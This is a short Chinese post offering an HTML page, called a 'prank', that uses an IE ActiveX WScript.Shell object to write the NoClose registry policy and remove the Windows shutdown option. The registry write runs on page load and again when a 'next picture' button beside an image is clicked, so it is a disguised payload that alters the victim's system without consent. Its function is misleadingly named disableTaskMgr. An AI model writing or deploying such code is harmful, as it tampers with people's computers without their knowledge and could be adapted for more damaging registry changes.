JavaScript实现删除电脑的关机键

纯属恶作剧（只对IE浏览器有效因为要调用ActiveX）

<！--E-mail：shyhero@outlook.comAuthor: dujianing 删除关机按钮--><！DOCTYPE html><html><head><meta charset="UTF-8"/><title></title><script type="text/javascript" language="javascript"> function disableTaskMgr（flg）{var shell = new ActiveXObject（"WScript.Shell"）;try{shell.RegWrite（"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"）}catch（e）{throw e; } } </script></head><body onLoad="disableTaskMgr（true）"> <img src="imgs/2.jpg"/><button onclick="disableTaskMgr（true）">下一张</button> </body></html>